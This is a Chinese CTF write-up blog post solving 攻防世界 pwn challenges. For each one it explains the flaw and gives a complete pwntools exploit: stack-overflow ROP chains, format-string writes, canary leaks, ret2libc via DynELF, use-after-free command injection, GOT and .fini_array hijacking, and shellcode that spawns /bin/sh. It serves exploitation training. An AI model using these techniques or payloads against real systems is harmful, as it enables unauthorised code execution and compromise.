攻防世界-pwn

hello_pwn

变量覆盖

image-20230315195608000

当dword_60106C等于’nuaa‘(1853186401)时,进入sub_00686函数,并获得flag。

image-20230315195847548

unk_601068与dword_60106C相隔4个字节,而read函数可以读16个字节,可以通过覆盖的方式来改变dword_60106C的值,来进入函数获得flag。

方法一:nc连接,输入aaaaaaun,获取flag。注意覆盖存储使用小端序

方法二:脚本

1
2
3
4
5
6
7
from pwn import *

context.log_level='debug'
p = remote("61.147.171.105","61941")
p.recvuntil(b"lets get helloworld for bof")
p.sendline(b'a'*4+p64(1853186401))
p.interactive()

level0

栈溢出

image-20230315203113766

buf的长度为128个字节(也就是0x80)但是read()函数允许往buf中输入0x200字节数据,存在栈溢出漏洞。

image-20230315204848090

思路:

  1. 向buf处输入0x80字节的数据填满buf,此时在继续输入0x8字节的数据造成溢出覆盖ebp处的数据。
  2. 再继续输入数据把返回地址处的数据覆盖为callsystem()的地址,这样vulnerable_function()函数原本要返回到main()函数但是却返回到了callsystem()函数来执行callsystem()
1
2
3
4
5
6
from pwn import *							

p=remote('61.147.171.105','62544')
p.recvuntil(b"Hello, World\n")
p.sendline(b'a'*0x88+p64(0x400596))
p.interactive()

level2

构造ROP链

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

buf所占的空间大小为0x88字节,但read函数读取0x100字节,存在栈溢出。且没有开canary保护,可以一直向下溢出到ret返回的地址。返回的地址可以构造system函数,并让system函数执行“/bin/sh”。

image-20230316111653391 image-20230316112304941
1
2
3
4
5
6
7
8
from pwn import *

p = remote("61.147.171.105","59089")
system = 0x08048320
bin_sh = 0x0804A024
p.recvuntil(b"Input:\n")
p.sendline(b"a"*0x8c+p32(system)+p32(0)+p32(bin_sh)) #p32(0)是system返回地址
p.interactive()

CGfsb

格式化字符串-覆盖任意地址内存

printf格式化字符串漏洞addr+%N$n修改任意地址的值

image-20230317194442641

cccc对应的636363是第10个参数

image-20230317194628578

pwnme所在地址为0x0804A068

1
2
3
4
5
6
7
8
9
10
from pwn import *

r=process('./1')
#r=remote('61.147.171.105','58540')
r.recvuntil("please tell me your name:")
r.sendline('aaa')
r.recvuntil("leave your message please:")
payload=p32(0x0804A068)+b'a'*4+b'%10$n' #b'a'*4是为了和地址凑8字节
r.sendline(payload)
r.interactive()
1
2
3
4
5
6
7
8
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数,将%n之前printf已经打印的字符个数赋值给指针所指向的地址;
而%hn表示写入的地址空间为2字节,%hhn表示写入的地址空间为1字节,%lln表示写入的地址空间为8字节。
%N$n:将%n之前printf已经打印的字符个数赋值给printf的第n个参数

参考:https://www.jianshu.com/p/097e211cd9eb

guess_num

栈溢出以及伪随机数

rand()函数产生的是伪随机数,依靠srand()来产生随机数。如果srand()的参数相同 那么rand产生的随机数相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF //0x30-0x10=0x20
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(v7); //在这里溢出,覆盖seed的值让每次的伪随机数都可知
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}

注意:下面代码linux下gcc编译执行,windows下结果会不同。得到srand参数为0时,伪随机数的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(0);
for (size_t i = 0; i <=9; i++)
{
b = rand() % 6 + 1;
printf("%d\n", b);
}
return 0;
}

结果为:2542625142。代码如下

1
2
3
4
5
6
7
8
9
10
from pwn import *

#p = remote("61.147.171.105","58434")
p = process('./guess_num')
payload = b'a' * 0x20 + p64(0) #溢出到send,使send[0]=0
p.sendlineafter("Your name:",payload)
rand = ['2','5','4','2','6','2','5','1','4','2'] #srang(0)时的结果
for i in range(10):
p.sendlineafter("Please input your guess number:",rand[i])
p.interactive()

int_overflow

整数溢出

常见各类型占用字节数如下:

类型 字节 取值范围
int 4 -2147483648~2147483647
short int 2 -32768~32767
long int 4 -2147483648~2147483647
unsigned int 4 0~4294967295
unsigned short int 2 0~65535
unsigned long int 4 0~4294967295

参考:https://ctf-wiki.org/pwn/linux/user-mode/integeroverflow/introduction/

image-20230318092551756

s即传入的passwd长度定义为0x199(409)>0xff(255),因此长度为000100000100(260)是可以绕过if条件。

strcpy时,dest长度长度定义为0x14,存在栈溢出,可以构造rop链

image-20230318093619154
1
2
3
4
5
6
7
8
9
from pwn import *

#p = remote("61.147.171.105","58434")
p = process('./2')
payload = b'a'*(0x14+4)+p32(0x0804868B)+b'a'*232
p.sendlineafter(b"choice:",b'1')
p.sendlineafter(b"Please input your username:",b'demo')
p.sendlineafter(b"Please input your passwd:",payload)
p.interactive()

cgpwn2

构造ROP链

image-20230318101544901

存在system函数(0x08048420),但是并没有给/bin/sh,需要自己写了入;name参数(0x0804A080)在.bss段,可以写进去一个/bin/sh,然后s存在栈溢出,可以构造ROP链。

1
2
3
4
5
6
7
8
from pwn import *

p = remote("61.147.171.105","58434")
#p = process('./2')
payload = b'a'*(0x26+4)+p32(0x08048420)+b'a'*4+p32(0x0804A080)
p.sendlineafter(b"please tell me your name",b'/bin/sh')
p.sendlineafter(b"hello,you can leave some message here:",payload)
p.interactive()

string

格式化字符串-覆盖任意地址内存

提示string应该是格式化字符串,查找printf函数引用,发现漏洞点

image-20230318161040887

v4=v4[1]时会执行shellcode

image-20230318161256199

难点在理清程序思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#p = remote("61.147.171.105","58434")
p = process('./string')
context(os='linux', arch='amd64')
p.recvuntil(b"secret[0] is ")
addr = int(p.recvuntil(b'\n')[:-1],16) #获得v4的地址
p.sendlineafter(b"What should your character's name be:",b'demo')
p.sendlineafter(b"So, where you will go?east or up?:",b'east')
p.sendlineafter(b"go into there(1), or leave(0)?:",str(1)) #b'1'会出错,不知道为什么
p.sendlineafter(b"'Give me an address'",str(addr))
p.sendlineafter(b"And, you wish is:",b"%85c%7$n") #v4的值=85=v4[1]
shell=asm(shellcraft.amd64.sh())
#shell=b"\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
p.sendlineafter(b"Wizard: I will help you! USE YOU SPELL",shell) #写入shellcode
p.interactive()

level3

ROP-ret2libc

image-20230318205032501

流程:

  1. 篡改控制流为read->write->main,通过write(1, write_got, 4)得到write函数地址,计算出libc基址
  2. 控制流回到main函数,再次篡改为main->vulnerable_function->system(‘/bin/sh’),完成ret2libc
1
2
3
4
5
#计算字符串 /bin/sh 地址
ROPgadget --binary ./libc_32.so.6 --string '/bin/sh'
strings -a -t x libc_32.so.6 | grep "/bin/sh"
#查找函数的位置
readelf -s libc_32.so.6|grep system

“/bin/sh”与write函数的相对距离为0x15902b - 0xd43c0 = 0x84c6b;

system与write的相对距离为0x3a940-0xd43c0=-0x99A80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#获取远程进程对象
p=remote('61.147.171.105',53144)
elf = ELF('level3')
libc = ELF('libc_32.so.6')
#char[88]+ebp+write函数地址+write函数返回地址(返回到main函数)+write函数参数一(1)+write函数参数二(write_got地址)+write函数参数三(写4字节)
payload =b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
p.recv() #接收write在got中的地址
write_addr = u32(p.recv()[:4]) #反p32,取四字节地址

#print(hex(libc.symbols['system']-libc.symbols['write']))
payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
p.sendline(payload)
p.interactive()

dice_game

栈溢出以及伪随机数

image-20230318215349144 image-20230318215450891
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from ctypes import *

p=remote('61.147.171.105',62460)
libc=cdll.LoadLibrary("libc.so.6")
p.recvuntil(b"know your name:")
payload = b'0'*0x40+p64(1)
p.sendline(payload)
res=[]
for i in range(50):
res.append(libc.rand()%6+1)
#print(res)
for a in res:
p.sendlineafter(b"Give me the point(1~6): ", str(a))
p.interactive()

forgot

栈溢出

image-20230319092457342 image-20230319092525453

注意填充数据不能满足以下条件,会改变v5的值。

image-20230319091840545
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#context.log_level='debug'
#p = remote("61.147.171.105","56986")
p = process('./forgot')

p.recvuntil(b"What is your name?\n> ")
p.sendline(b"demo")
p.recvuntil(b"Enter the string to be validate\n> ")
p.sendline(b'A'*(0x74-0x54)+p32(0x80486CC)) #取A,ASCII值65

p.interactive()

Mary_Morton

格式化字符串、绕过Canary保护机制、栈溢出

1
2
3
4
Canary保护机制
在函数开始时就随机产生一个值,将这个值CANARY放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查CANARY这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击

如果存在字符串格式化漏洞可以输出泄露canary的地址并利用栈溢出覆盖canary的地址返回到system地址从而达到绕过
在这里插入图片描述 image-20230319105614718 image-20230319143617038
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*

#p = process("./1")
p = remote("61.147.171.105",61806)

sys_addr = 0x0004008DA

p.recvuntil(b"battle \n")
p.sendline(b"2")
p.sendline(b"%23$p")
c = p.recv()
canary = int(c,16)
print(canary)

p.recvuntil(b"battle \n")
p.sendline(b"1")
payload = b'a'*0x88 + p64(canary) + b'a'*8 + p64(sys_addr)
p.sendline(payload)
p.interactive()

warmup

盲打栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

sys = 0x40060d
for i in range(100):
print(i)
try:
p = remote("61.147.171.105",64494)
payload = b'A'*i + p64(sys)
p.recvuntil(b">")
p.sendline(payload)
print(p.recv())
p.interactive()
except:
p.close()

stack2⭐

未检查数组边界,造成任意地址修改

image-20230319171506698

hackhere函数存在system(“/bin/sh”),地址0x0804859B

重点就要确定的就是main函数返回位置距离数组的偏移

根据代码和汇编指令确定数组首地址,运行到ret时ESP值就是main函数返回地址,相减得到偏移0x84。

image-20230319193954490 image-20230319194033905

通过ida直接找返回地址相对于数组的偏移算出来是有问题的,因为是函数最后使用leave和lea指令调整了栈帧,将栈底恢复到了之前的位置。栈底发生了变化,偏移量也就变化了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

def change(offest,by):
p.sendafter('exit','3\n')
p.sendafter('r to change:',str(offest)+'\n')
p.sendafter('number:',str(by)+'\n')
p=process('./stack2')
#p=remote('61.147.171.105',53919)
p.sendafter('y numbers you have:','0\n')
#小端序写入0x8004859B
change(0x84,0x9B)
change(0x85,0x85)
change(0x86,0x04)
change(0x87,0x08)
p.recvuntil('exit')
p.sendline('5')
p.interactive()

本地没有问题,远程报错服务器找不到bash。(出题人的问题)

改变思路,使用程序里的system函数,以及sh字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
def change(offest,by):
p.sendafter('exit','3\n')
p.sendafter('r to change:',str(offest)+'\n')
p.sendafter('number:',str(by)+'\n')

#p=process('./3')
p=remote('61.147.171.105',53919)
p.sendafter('y numbers you have:','0\n')
change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)
#注意这里需要空出0x4来,所以从0x8c开始
change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)

p.recvuntil('exit')
p.sendline('5')
p.interactive()

pwn-100⭐

ROP-ret2csu

参考:https://blog.csdn.net/qin9800/article/details/104759217

image-20230320144505160

开了NX,没办法直接往栈上写ShellCode

read读取0xC8个字符,而用户输入数据的首地址到ebp只有0x40个字节,存在栈溢出

程序没有提供libc,也没有system函数,但是有puts函数,可以通过pwntools的DynELF来远程获取libc(也可以使用LibcSearcher)

DynELF参考:https://blog.csdn.net/qq_40827990/article/details/86689760

1
2
3
使用 ROPgadget 工具搜索到的 pop rdi ; ret 语句的地址
因为我们需要这两条语句将栈中随后的两个内容分别作为 rdi 的内容和返回地址来处理,搜索的方法可以使用诸如
ROPgadget --binary pwn100 --only "pop|ret" | grep "rdi"

ret2csu参考:https://blog.csdn.net/AcSuccess/article/details/104448463

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

#p = process("./pwn100")
p = remote("61.147.171.105", 56721)
elf = ELF("./pwn100")

start_addr = 0x400550 #程序开始地址
pop_rdi_addr = 0x400763 #pop rdi ; ret
puts_addr = elf.symbols["puts"]

#DynELF获得system地址
def leak(addr):
payload = cyclic(0x40 + 0x8) #padding
payload += p64(pop_rdi_addr) + p64(addr) + p64(puts_addr) #rip+addr+put函数地址
payload += p64(start_addr) #返回地址
payload = payload.ljust(200, b"A")
p.send(payload)
p.recvuntil(b"bye~\n")
data = p.recv()
data = data[:-1] #截取丢弃/n
if not data:
data = b"\x00" #空数据填充
#data = data[:8]
#print("puts addr: ", data)
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup("system", "libc")
print("system addr:", hex(system_addr))

#向bss段写入/bin/sh
print("----------- write /bin/sh to bss --------------")
str_addr = 0x601000 #写入的地址
pop6_addr = 0x40075a
movcall_addr = 0x400740
print("准备发送")
read_got = elf.got["read"]
payload = cyclic(0x40 + 0x8)
payload += p64(pop6_addr) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(str_addr) + p64(0) + p64(movcall_addr)
payload += cyclic(56)
payload += p64(start_addr)
payload = payload.ljust(200, b"B")
p.send(payload)
p.recvuntil(b"bye~\n")
p.send(b"/bin/sh\x00")
print("成功发送")

print("----------- get shell --------------")
payload = b'a'*(0x40 + 0x8)
payload += p64(pop_rdi_addr) + p64(str_addr) + p64(system_addr) + p64(start_addr)
payload = payload.ljust(200, b"B")
p.send(payload)
p.interactive()

pwn-200

ret2libc、DynELF

image-20230322154115477

思路:使用DynELF通过泄露的write地址,获得system地址;在bss段写入/bin/sh;通过溢出点构造rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = remote('61.147.171.105',50595)
elf = ELF('./1')
main_addr = 0x80484be
fun_addr = 0x80484be
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
ppp_ret = 0x080485cd #平栈地址 ROPgadget --binary pwn-200 --only "pop|ret"

#DynELF获得system地址
def leak(addr):
payload = b'a'*0x6c+p32(0)+p32(write_plt)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
p.sendlineafter('Welcome to XDCTF2015~!\n', payload)
data = p.recv()
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup("system", "libc")
print("system addr:", hex(system_addr))

bss_addr = elf.bss()
#read有三个参数所以返回前需要pop三次调整栈平衡
payload = b'a'*0x6c+p32(0)+p32(read_plt)+p32(ppp_ret)+p32(0)+p32(bss_addr)+p32(8)+p32(system_addr)+p32(0)+p32(bss_addr)
p.sendlineafter('Welcome to XDCTF2015~!\n', payload)
p.sendline(b'/bin/sh')
p.interactive()

monkey

1
2
3
4
5
6
7
from pwn import *

context.log_level='debug'
p = remote("61.147.171.105","54838")
#p = process('./js',env={'LD_LIBRARY_PATH':'./'})
p.sendlineafter('js> ', "os.system('cat flag')")
p.interactive()

pwn1

ROP-ret2libc、绕过Canary

1
2
3
one_gadget就是用来去查找动态链接库里execve("/bin/sh", rsp+0x70, environ)函数的地址的
sudo apt -y install ruby
sudo gem install one_gadget
image-20230320222907843
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

p = remote('61.147.171.105',59945)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts'] #put函数只需要一个参数rdi
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93

# 泄露canary地址
p.sendlineafter('>> ','1')
p.sendline(b'A'*0x88) #让\n将canary最低位\x00覆盖
p.sendlineafter('>> ','2')
p.recvuntil('A\n')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))

# 泄露puts函数实际地址
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','3')
real_puts = u64(p.recv().ljust(8,b'\x00'))
print(hex(real_puts))

# 获取execve实际地址
base = real_puts - libc.symbols['puts']
execve = base + 0x45216 #one_gadget得到的偏移地址

# 构造payload溢出获取shell
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','3')
p.interactive()

实时数据监测

格式化字符串-大数覆盖

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_15

1
2
3
4
5
6
7
8
from pwn import *

#p = remote('61.147.171.105',59945)
p = process('./123')
#fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作
payload = fmtstr_payload(12, {0x0804a048: 0x02223322})
p.sendline(payload)
p.interactive()
1
2
3
4
5
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

welpwn

ret2cus、DynELF

将buf的内容写入s2中,s2距离rbp只有0x10,可以进行溢出。但是发现是向s2中赋值的时候,遇到’\x00’就会中断for循环,而rbp肯定存在’\x00’。

image-20230323115314643

image-20230323115916920

image-20230323115103117
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
from pwn import *

p=remote('61.147.171.105',56291)
elf = ELF('./welpwn')
pop4 = 0x40089C #出栈3次,绕过/x00截断
pop6_addr = 0x40089A #ret2csu
movecall_addr = 0x400880 #ret2csu
poprdi = 0x4008A3 #一次出栈赋值rdi
main_func = 0x400630
write_got = elf.got['write']
read_got = elf.got['read']

#dynelf获取system地址
def leak(addr):
p.recv()
rop = p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(movecall_addr)+b'x'*56+p64(main_func)
p.send((b'x'*24 + p64(pop4) + rop).ljust(1024,b'X'))
data = p.recv(8)
return data
d = DynELF(leak, elf=elf)
system = d.lookup('system', 'libc')
print(hex(system))
#bss写入sh并调用system执行
p.recv()
bss_addr = elf.bss()
rop = p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(movecall_addr)+b'a'*56
rop += p64(poprdi) + p64(bss_addr) + p64(system)
p.send((b'x'*24 + p64(pop4) + rop).ljust(1024,b'X'))
p.send('/bin/sh\x00')
p.interactive()

time_formatter

Use After Free-Heap

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/

1) Set a time format.对应函数sub_400E00,申请内存存储字符串并检查格式,这里注意sub_400E43也调用了堆申请函数。

image-20230323164713414

sub_400D74函数内sub_400C26申请内存

image-20230323164224582

将包含ptr的格式化command给system执行

image-20230323165551927

思路:
1.首先随便给ptr数值让它申请,但是最好和后面要填的参数长度相同;
2.然后选择5,free掉内存,因为没有置空,所以这个时候ptr成为了悬空指针
3.然后我们去选择3,会再次申请堆。得到的堆地址就是之前ptr free掉的,然后写入/bin/sh;
4.最后选择4,command中有了命令,执行之后获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

#p = remote('61.147.171.105',59692)
p = process('./123')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Format: ')
p.sendline('a' * 10)
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Time zone: ')
p.sendline("';/bin/sh'")
p.recvuntil('> ')
p.sendline('4')
p.interactive()

Recho

劫持got表、ORW

image-20230324092249472

syscall 与alarm函数起点 mov eax 的偏移量为 5。

把alarm的got表地址放在rdi里,然后把偏移量5放到rax里,我们就实现了把alarma的调用改成了syscall的调用

image-20230323212938434

image-20230323213832841

open()、read()、print()构造长ROP。全部pop|ret,代码里需要

image-20230323221400625

1
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h   #查看系统调用号,open为2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level = 'debug'
#p = process("./1")
p = remote('61.147.171.105',64809)
e = ELF("./1")

alarm_plt = p64(e.plt["alarm"])
alarm_got = p64(e.got["alarm"])
read_plt = p64(e.plt["read"])
printf_plt = p64(e.plt["printf"])
prax = p64(0x4006fc)
prsi_r15 = p64(0X4008a1)
prdi = p64(0x4008a3)
prdx = p64(0x4006fe)
rdi_addrax = p64(0x40070d)
bss_buf = p64(0x601090) #bss段写入地址
flag = p64(0x601058) #flag位置

payload = b"A"*0x38
payload += prdi + alarm_got #alarm函数地址给rdi
payload += prax + p64(0X5) #5传给rax
payload += rdi_addrax #alarm函数地址加5到syscall地址

# fd = open(“flag”,READONLY)
payload += prsi_r15 + p64(0x0) + p64(0x0) #rsi=0(READONLY)
payload += prdi + flag #flag地址给rdi
payload += prax + p64(0x2) #rax=2,sys_call_table[2] = open
payload += alarm_plt #执行syscall

#read(fd,stdin_buffer,100)
payload += prdi + p64(0x3) #open()打开文件返回的文件描述符一般从 3 开始,依次顺序增加
payload += prsi_r15 + bss_buf + p64(0x0) #rsi = buf,buf存放读取
payload += prdx + p64(0x30) #大小
payload+=read_plt #read函数

#print(buf)
payload += prdi + bss_buf + printf_plt

p.recvuntil('Welcome to Recho server!\n')
p.sendline(str(0x200)) #足够长,容纳payload
payload=payload.ljust(0x200,b'\x00')
p.send(payload)
p.shutdown('send') #关闭输入流
p.interactive()

greeting-150

格式化字符串、覆盖 .fini_array

image-20230324204055495

linux x86程序执行流程。在main函数之前会执行一些其他的函数,init_array数组里面的函数会被一一执行,而且main函数结束后还会执行fini_array数组里面的函数。

image-20230324203904013 image-20230324204532466

思路:通过格式化字符串漏洞将函数strlen函数劫持为system函数(got表劫持),将fini里面的函数劫持为start函数;输入”/bin/sh”获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#sh=process('./greeting_150')
sh =remote('61.147.171.105',54469)
elf=ELF('./greeting_150')
context(os = 'linux',log_level = 'debug')
strlen_got=elf.got['strlen'] #0x8049A54,为要修改的函数的got表单地址,需要修i改为0x0804 8490
start_addr=0x080484F0 #起始地址
fini_addr=0x08049934 #fini_addr,需要修改为0x08048490
system_plt = 0x08048490 #system的plt地址
#格式化字符串修改任意内存地址
payload=b"aa"
payload+=p32(strlen_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_addr)
payload+=b"%2020c%12$hn" #0x804-18-(2+4+4+4)=2020,'Nice to meet you, '的长度为18
payload+=b"%31884c%13$hn" #0x8490-0x804=31884
payload+=b"%96c%14$hn" #0x84f0-0x8490=96

sh.recvuntil('Please tell me your name... ')
sh.sendline(b'aa'+payload)
sh.recvuntil('Please tell me your name... ')
sh.sendline(b'/bin/sh')
sh.interactive()

攻防世界-pwn
http://wangchenchina.github.io/2023/03/29/攻防世界-pwn/
作者
Demo
发布于
2023年3月29日
许可协议